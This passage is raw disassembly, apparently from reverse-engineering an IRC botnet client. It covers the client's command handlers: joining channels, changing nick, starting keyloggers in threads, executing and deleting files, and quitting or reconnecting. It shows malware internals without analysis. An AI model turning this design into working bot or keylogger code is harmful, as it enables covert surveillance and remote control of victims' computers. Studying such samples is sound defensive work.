push offset dword_42C14C
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_4096FD
push [ebp+arg_18]
push edi
push offset dword_42C124
loc_408896: ; CODE XREF: sub_401AA1+6E7Cj
; sub_401AA1+6EE7j ...
call sub_415FB9
jmp loc_4041D9
; ---------------------------------------------------------------------------
loc_4088A0: ; CODE XREF: sub_401AA1+486Ej
; sub_401AA1+4885j
cmp [ebp+var_C], ebx
jz loc_409567
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4088D1
push esi
lea eax, [ebp+var_2C0]
push offset dword_42C11C
push eax
call sub_41BEF6
add esp, 0Ch
loc_4088D1: ; CODE XREF: sub_401AA1+6E19j
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
lea eax, [ebp+var_2C0]
push eax
push offset dword_42C14C
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_4096FD
push esi
push edi
push offset dword_42C100
jmp loc_408896
; ---------------------------------------------------------------------------
loc_408922: ; CODE XREF: sub_401AA1+4840j
; sub_401AA1+4857j
cmp [ebp+var_C], ebx
jz loc_409567
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409567
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
push esi
push offset dword_42C14C
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_4096FD
push esi
push edi
push offset dword_42C0E4
jmp loc_408896
; ---------------------------------------------------------------------------
loc_40898D: ; CODE XREF: sub_401AA1+4812j
; sub_401AA1+4829j
cmp [ebp+var_C], ebx
jz loc_409567
push edi
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409567
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push esi
push offset dword_42C0A0
loc_4089BF: ; CODE XREF: sub_401AA1+79A4j
; sub_401AA1+79BDj ...
call sub_415FB9
jmp loc_40344D
; ---------------------------------------------------------------------------
loc_4089C9: ; CODE XREF: sub_401AA1+47E4j
; sub_401AA1+47FBj
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_401F20
push [ebp+arg_18]
push offset dword_42C094
push [ebp+arg_4]
call sub_4096FD
push edi
call sub_41BDE9
imul eax, 3E8h
add esp, 10h
push eax
call dword_428080 ; Sleep
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push offset dword_42C064
call sub_415F45
jmp loc_40344D
; ---------------------------------------------------------------------------
loc_408A2F: ; CODE XREF: sub_401AA1+47B6j
; sub_401AA1+47CDj
cmp [ebp+var_C], ebx
jz loc_409567
push edi
call sub_41B650
push [ebp+arg_8]
mov esi, eax
call sub_41B650
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41BF70
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409567
push esi
lea eax, [ebp+var_2C0]
push offset dword_42C94C
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409743
push esi
push edi
push offset dword_42C02C
call sub_415FB9
add esp, 2Ch
jmp loc_409567
; ---------------------------------------------------------------------------
loc_408A9D: ; CODE XREF: sub_401AA1+4788j
; sub_401AA1+479Fj
cmp [ebp+var_C], ebx
jz loc_409567
push edi
call sub_41B650
push [ebp+arg_8]
mov esi, eax
call sub_41B650
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41BF70
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409567
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409743
push esi
push edi
push offset dword_42BFF4
call sub_415FB9
add esp, 20h
jmp loc_409567
; ---------------------------------------------------------------------------
loc_408AF3: ; CODE XREF: sub_401AA1+475Aj
; sub_401AA1+4771j
cmp [ebp+var_C], ebx
jz loc_401F20
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F20
push eax
push edi
call sub_415E4D
push edi
lea eax, [ebp+var_2C0]
push offset dword_42BFBC
push eax
call sub_41BEF6
add esp, 14h
jmp loc_403F34
; ---------------------------------------------------------------------------
loc_408B32: ; CODE XREF: sub_401AA1+472Cj
; sub_401AA1+4743j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418B6C
loc_408B47: ; CODE XREF: sub_401AA1+25AEj
add esp, 14h
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_408B4F: ; CODE XREF: sub_401AA1+46ECj
; sub_401AA1+4703j
push edi
push [ebp+arg_1C]
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz loc_409567
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_408BE6
push esi
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2C0]
jz short loc_408BD4
push esi
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42C2EC
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BC60
push esi
push edi
lea eax, [ebp+var_2C0]
push offset dword_42BF7C
push eax
call sub_41BEF6
add esp, 34h
inc [ebp+arg_24]
jmp loc_408EFC
; ---------------------------------------------------------------------------
loc_408BD4: ; CODE XREF: sub_401AA1+70E1j
push offset dword_42BF30
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp loc_408EFC
; ---------------------------------------------------------------------------
loc_408BE6: ; CODE XREF: sub_401AA1+70CAj
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B355
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push edi
push offset dword_42BEF8
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
add esp, 24h
jmp loc_408EFC
; ---------------------------------------------------------------------------
loc_408C2D: ; CODE XREF: sub_401AA1+4414j
; sub_401AA1+442Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aKeyloggerActiv ; "Keylogger active."
loc_408C3A: ; CODE XREF: sub_401AA1+FF6j
; sub_401AA1+1049j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B4DC
add esp, 20h
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_408C56: ; CODE XREF: sub_401AA1+43E6j
; sub_401AA1+43FDj
push 23h
call sub_40B496
test eax, eax
pop ecx
jle short loc_408C6C
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_408C6C: ; CODE XREF: sub_401AA1+71BFj
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408CE8
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408CCF
mov esi, offset aLog_0 ; "#LOG#"
push offset byte_4404C4
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408CCF
mov esi, [ebp+var_88]
loc_408CCF: ; CODE XREF: sub_401AA1+7210j
; sub_401AA1+7226j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41BFF0
push offset aKeyloggerActiv ; "Keylogger active."
jmp short loc_408D3B
; ---------------------------------------------------------------------------
loc_408CE8: ; CODE XREF: sub_401AA1+71FBj
push edi
push offset aNormal_0 ; "normal"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_408DB7
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408D24
mov esi, offset aLog_0 ; "#LOG#"
push offset byte_4404C4
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408D24
mov esi, [ebp+var_88]
loc_408D24: ; CODE XREF: sub_401AA1+7265j
; sub_401AA1+727Bj
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41BFF0
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408D3B: ; CODE XREF: sub_401AA1+7245j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 14h
lea eax, [ebp+var_2C0]
push ebx
push 23h
push eax
call sub_40B254
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_412911
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_408DAA
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
jmp loc_404968
; ---------------------------------------------------------------------------
loc_408DA2: ; CODE XREF: sub_401AA1+730Fj
push 32h
call dword_428080 ; Sleep
loc_408DAA: ; CODE XREF: sub_401AA1+72EEj
cmp [ebp+var_A04], ebx
jz short loc_408DA2
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_408DB7: ; CODE XREF: sub_401AA1+7256j
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_408DC1: ; CODE XREF: sub_401AA1+404Dj
; sub_401AA1+4064j
push offset aR ; "r"
push edi
call sub_41BB32
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408E3B
mov ebx, 200h
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
call sub_41C1BF
add esp, 0Ch
jmp short loc_408E17
; ---------------------------------------------------------------------------
loc_408DEC: ; CODE XREF: sub_401AA1+7378j
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
call sub_41C1BF
add esp, 20h
loc_408E17: ; CODE XREF: sub_401AA1+7349j
test eax, eax
jnz short loc_408DEC
push esi
call sub_41B6CB
push edi
lea eax, [ebp+var_2C0]
push offset dword_42BE18
push eax
call sub_41BEF6
add esp, 10h
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_408E3B: ; CODE XREF: sub_401AA1+7331j
push edi
push offset dword_42BDDC
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_408E46: ; CODE XREF: sub_401AA1+401Fj
; sub_401AA1+4036j
cmp [ebp+var_C], ebx
jz loc_409567
push edi
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409567
push offset asc_42BDD8 ; "\n"
push esi
call sub_41C530
push esi
call sub_41A0C2
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_408E89
push offset unk_42BD98
jmp short loc_408ED3
; ---------------------------------------------------------------------------
loc_408E89: ; CODE XREF: sub_401AA1+73DFj
push esi
push offset dword_42BD60
push eax
call sub_41BEF6
add esp, 0Ch
jmp short loc_408EFC
; ---------------------------------------------------------------------------
loc_408E9A: ; CODE XREF: sub_401AA1+3FF1j
; sub_401AA1+4008j
cmp [ebp+var_C], ebx
jz loc_409567
push edi
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz loc_409567
push eax
call sub_41889C
test eax, eax
pop ecx
lea eax, [ebp+var_2C0]
jnz short loc_408ECE
push offset unk_42BD40
jmp short loc_408ED3
; ---------------------------------------------------------------------------
loc_408ECE: ; CODE XREF: sub_401AA1+7424j
push offset dword_42BD24
loc_408ED3: ; CODE XREF: sub_401AA1+73E6j
; sub_401AA1+742Bj
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_408EDB: ; CODE XREF: sub_401AA1+6B3Dj
cmp [ebp+var_8], ebx
jnz short loc_408EFC
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_408EFC: ; CODE XREF: sub_401AA1+712Ej
; sub_401AA1+7140j ...
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
pop ecx
jmp loc_409567
; ---------------------------------------------------------------------------
loc_408F0E: ; CODE XREF: sub_401AA1+3FC3j
; sub_401AA1+3FDAj
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BC60
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408F3D
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BC60
add esp, 0Ch
loc_408F3D: ; CODE XREF: sub_401AA1+7488j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
lea eax, [ebp+var_2C0]
push offset dword_42BCF4
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 1Ch
push eax
call sub_40B254
add esp, 24h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset loc_41B41B
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_408FDE
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42BCA0
jmp loc_4043D3
; ---------------------------------------------------------------------------
loc_408FD6: ; CODE XREF: sub_401AA1+7543j
push 32h
call dword_428080 ; Sleep
loc_408FDE: ; CODE XREF: sub_401AA1+7522j
cmp [ebp+var_1EF8], ebx
jz short loc_408FD6
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_408FEB: ; CODE XREF: sub_401AA1+3F95j
; sub_401AA1+3FACj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41061F
push edi
push offset dword_42BC84
jmp loc_408896
; ---------------------------------------------------------------------------
loc_409006: ; CODE XREF: sub_401AA1+3F67j
; sub_401AA1+3F7Ej
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BC00
push edi
lea eax, [ebp+var_1D38]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
mov eax, [ebp+arg_4]
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+var_4]
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42BC60
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40B254
add esp, 40h
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset sub_4163CE
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4090D9
loc_4090C0: ; CODE XREF: sub_401AA1+78Ej
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42BC24
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_4090D1: ; CODE XREF: sub_401AA1+763Ej
push 32h
call dword_428080 ; Sleep
loc_4090D9: ; CODE XREF: sub_401AA1+761Dj
cmp [ebp+var_1BA4], ebx
jz short loc_4090D1
jmp loc_402399
; ---------------------------------------------------------------------------
loc_4090E6: ; CODE XREF: sub_401AA1+3F39j
; sub_401AA1+3F50j
push edi
call dword_428088 ; DeleteFileA
test eax, eax
jz short loc_4090F9
push edi
push offset dword_42BBE8
jmp short loc_409104
; ---------------------------------------------------------------------------
loc_4090F9: ; CODE XREF: sub_401AA1+764Ej
push offset dword_42BBC0
call sub_4187D7
push eax
loc_409104: ; CODE XREF: sub_401AA1+7656j
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
loc_409115: ; CODE XREF: sub_401AA1+773Ej
add esp, 10h
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_40911D: ; CODE XREF: sub_401AA1+3F0Bj
; sub_401AA1+3F22j
push edi
call sub_41BDE9
push eax
call sub_41A03B
xor esi, esi
pop ecx
inc esi
pop ecx
cmp eax, esi
push edi
lea eax, [ebp+var_2C0]
jnz short loc_409140
push offset dword_42BB78
jmp short loc_409145
; ---------------------------------------------------------------------------
loc_409140: ; CODE XREF: sub_401AA1+7696j
push offset dword_42BB20
loc_409145: ; CODE XREF: sub_401AA1+769Dj
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406BE7
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
jmp loc_406BE7
; ---------------------------------------------------------------------------
loc_409178: ; CODE XREF: sub_401AA1+3EDDj
; sub_401AA1+3EF4j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419D3A
add esp, 18h
cmp eax, 1
push edi
jnz short loc_40919A
push offset dword_42BAD8
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_40919A: ; CODE XREF: sub_401AA1+76EDj
push offset dword_42BA88
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_4091A4: ; CODE XREF: sub_401AA1+3EAFj
; sub_401AA1+3EC6j
push edi
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D4], eax
jz short loc_4091E4
push 2
lea eax, [ebp+var_2D4]
push 4
push eax
call dword_4CE2C0 ; gethostbyaddr
cmp eax, ebx
jz short loc_4091FF
push dword ptr [eax]
loc_4091CD: ; CODE XREF: sub_401AA1+775Cj
push edi
lea eax, [ebp+var_2C0]
push offset unk_42BA68
push eax
call sub_41BEF6
jmp loc_409115
; ---------------------------------------------------------------------------
loc_4091E4: ; CODE XREF: sub_401AA1+7713j
push edi
call dword_4CE38C ; gethostbyname
cmp eax, ebx
jz short loc_4091FF
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CE394 ; inet_ntoa
push eax
jmp short loc_4091CD
; ---------------------------------------------------------------------------
loc_4091FF: ; CODE XREF: sub_401AA1+7728j
; sub_401AA1+774Cj
push offset unk_42BA40
jmp loc_406169
; ---------------------------------------------------------------------------
loc_409209: ; CODE XREF: sub_401AA1+3E81j
; sub_401AA1+3E98j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BC60
push edi
lea eax, [ebp+var_2C0]
push offset dword_42BA00
push eax
call sub_41BEF6
add esp, 18h
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_40922E: ; CODE XREF: sub_401AA1+3E53j
; sub_401AA1+3E6Aj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CE274 ; ShellExecuteA
test eax, eax
push edi
jz short loc_40924E
push offset dword_42B9C4
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_40924E: ; CODE XREF: sub_401AA1+77A1j
push offset dword_42B980
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_409258: ; CODE XREF: sub_401AA1+3E25j
; sub_401AA1+3E3Cj
mov al, [edi]
mov byte_42A980, al
movsx eax, byte ptr [edi]
push eax
push offset dword_42B938
jmp loc_404968
; ---------------------------------------------------------------------------
loc_40926D: ; CODE XREF: sub_401AA1+3DF7j
; sub_401AA1+3E0Ej
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AD20
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
add esp, 1Ch
jmp loc_4087E3
; ---------------------------------------------------------------------------
loc_4092B8: ; CODE XREF: sub_401AA1+3DC9j
; sub_401AA1+3DE0j
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_401F20
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_401F20
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_4096FD
pop ecx
pop ecx
push 1F4h
call dword_428080 ; Sleep
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call dword_4CE3A0 ; closesocket
push [ebp+var_10]
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_44125C[eax]
call dword_4280B4 ; TerminateThread
push edi
call sub_41BDE9
imul eax, 234h
push edi
mov dword_44125C[eax], ebx
call sub_41BDE9
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_441048[eax], bl
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_409363: ; CODE XREF: sub_401AA1+3D9Bj
; sub_401AA1+3DB2j
push edi
push offset dword_42B934
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_409392
call sub_40B417
cmp eax, ebx
jle short loc_409388
push eax
push offset dword_42B8F0
jmp loc_4071F1
; ---------------------------------------------------------------------------
loc_409388: ; CODE XREF: sub_401AA1+78DAj
push offset unk_42B8A8
jmp loc_403F26
; ---------------------------------------------------------------------------
loc_409392: ; CODE XREF: sub_401AA1+78D1j
mov eax, [ebp+var_A4]
lea esi, [eax+1]
jmp short loc_409409
; ---------------------------------------------------------------------------
loc_40939D: ; CODE XREF: sub_401AA1+796Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F20
push edi
call sub_41BDE9
push eax
call sub_40B38F
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2C0]
jz short loc_4093CC
push offset dword_42B860
jmp short loc_4093D1
; ---------------------------------------------------------------------------
loc_4093CC: ; CODE XREF: sub_401AA1+7922j
push offset dword_42B810
loc_4093D1: ; CODE XREF: sub_401AA1+7929j
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4093FB
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_4093FB: ; CODE XREF: sub_401AA1+793Cj
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
pop ecx
inc esi
loc_409409: ; CODE XREF: sub_401AA1+78FAj
cmp esi, 20h
jb short loc_40939D
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_409413: ; CODE XREF: sub_401AA1+3D6Dj
; sub_401AA1+3D84j
cmp [ebp+var_C], ebx
jz loc_409567
push edi
push [ebp+var_C]
call sub_41BF70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409567
push esi
push offset dword_42C14C
push [ebp+arg_4]
call sub_4096FD
push esi
push offset dword_42B7D4
jmp loc_4089BF
; ---------------------------------------------------------------------------
loc_40944A: ; CODE XREF: sub_401AA1+3D3Fj
; sub_401AA1+3D56j
push edi
push offset dword_42C094
push [ebp+arg_4]
call sub_4096FD
push edi
push offset dword_42B790
jmp loc_4089BF
; ---------------------------------------------------------------------------
loc_409463: ; CODE XREF: sub_401AA1+3D11j
; sub_401AA1+3D28j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push edi
push offset dword_42B748
jmp loc_408896
; ---------------------------------------------------------------------------
loc_409483: ; CODE XREF: sub_401AA1+3CE3j
; sub_401AA1+3CFAj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push edi
push offset dword_42B704
jmp loc_4089BF
; ---------------------------------------------------------------------------
loc_40949C: ; CODE XREF: sub_401AA1+3136j
; sub_401AA1+314Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4096FD
push edi
lea eax, [ebp+var_2C0]
push offset unk_42B6C4
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push edi
call sub_41BDE9
add esp, 1Ch
loc_4094D0: ; CODE XREF: sub_401AA1+7A77j
push eax
call dword_428080 ; Sleep
loc_4094D7: ; CODE XREF: sub_401AA1+2A55j
xor eax, eax
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_4094DE: ; CODE XREF: sub_401AA1+3108j
; sub_401AA1+311Fj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4096FD
push edi
lea eax, [ebp+var_2C0]
push offset unk_42B680
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push edi
call sub_41BDE9
add esp, 1Ch
imul eax, 3E8h
jmp short loc_4094D0
; ---------------------------------------------------------------------------
loc_40951A: ; CODE XREF: sub_401AA1+E67j
; sub_401AA1+E7Cj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42A988
push eax
call sub_40AD20
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4096FD
lea eax, [ebp+var_338]
push eax
push offset dword_42B640
call sub_415FB9
loc_409564: ; CODE XREF: sub_401AA1+51ADj
add esp, 24h
loc_409567: ; CODE XREF: sub_401AA1+614j
; sub_401AA1+620j ...
mov eax, [ebp+arg_24]
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_40956F: ; CODE XREF: sub_401AA1+A5Fj
; sub_401AA1+A74j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F20
cmp [ebp+var_A8], ebx
jnz loc_401F20
push offset asc_42F5E4 ; "!"
push [ebp+var_90]
call sub_41C764
mov esi, eax
push offset dword_4CE1C0
push ebx
inc esi
call sub_41C764
push offset dword_42B63C
push eax
call sub_41C764
push [ebp+arg_20]
mov edi, eax
push offset dword_42AA14
call sub_41C6E0
add esp, 20h
test eax, eax
jz short loc_409617
loc_4095CC: ; CODE XREF: sub_401AA1+7B98j
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset dword_42B610
push [ebp+arg_4]
call sub_4096FD
lea eax, [ebp+var_C0]
push eax
push offset dword_42B5D8
push [ebp+arg_4]
call sub_4096FD
push edi
push esi
lea eax, [ebp+var_2C0]
push offset dword_42B590
push eax
call sub_41BEF6
add esp, 30h
jmp loc_402399
; ---------------------------------------------------------------------------
loc_409617: ; CODE XREF: sub_401AA1+7B29j
mov [ebp+arg_24], ebx
loc_40961A: ; CODE XREF: sub_401AA1+7B96j
mov eax, [ebp+arg_24]
push edi
push off_42AAB8[eax]
call sub_40B5A7
pop ecx
test eax, eax
pop ecx
jnz short loc_40963B
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_40961A
jmp short loc_4095CC
; ---------------------------------------------------------------------------
loc_40963B: ; CODE XREF: sub_401AA1+7B8Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_409640: ; CODE XREF: sub_401AA1+7BC0j
cmp [edi], bl
jnz short loc_409657
push [ebp+arg_20]
push offset dword_42AA14
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_409668
loc_409657: ; CODE XREF: sub_401AA1+7BA1j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409640
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_409668: ; CODE XREF: sub_401AA1+7BB4j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BC60
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40969F
push ebx
push [ebp+var_4]
push offset dword_42B540
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_40969F: ; CODE XREF: sub_401AA1+7BE2j
lea eax, [ebp+var_C0]
push eax
push offset dword_42B500
loc_4096AB: ; CODE XREF: sub_401AA1+56Cj
; sub_401AA1+2831j ...
call sub_415FB9
loc_4096B0: ; CODE XREF: sub_401AA1:loc_4035DCj
pop ecx
loc_4096B1: ; CODE XREF: sub_401AA1+24C0j
pop ecx
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4096B7: ; CODE XREF: sub_401AA1+200j
; sub_401AA1+215j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_4096FD
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4096FD
add esp, 2Ch
mov dword_4CE1B8, edi
jmp loc_401D30
sub_401AA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
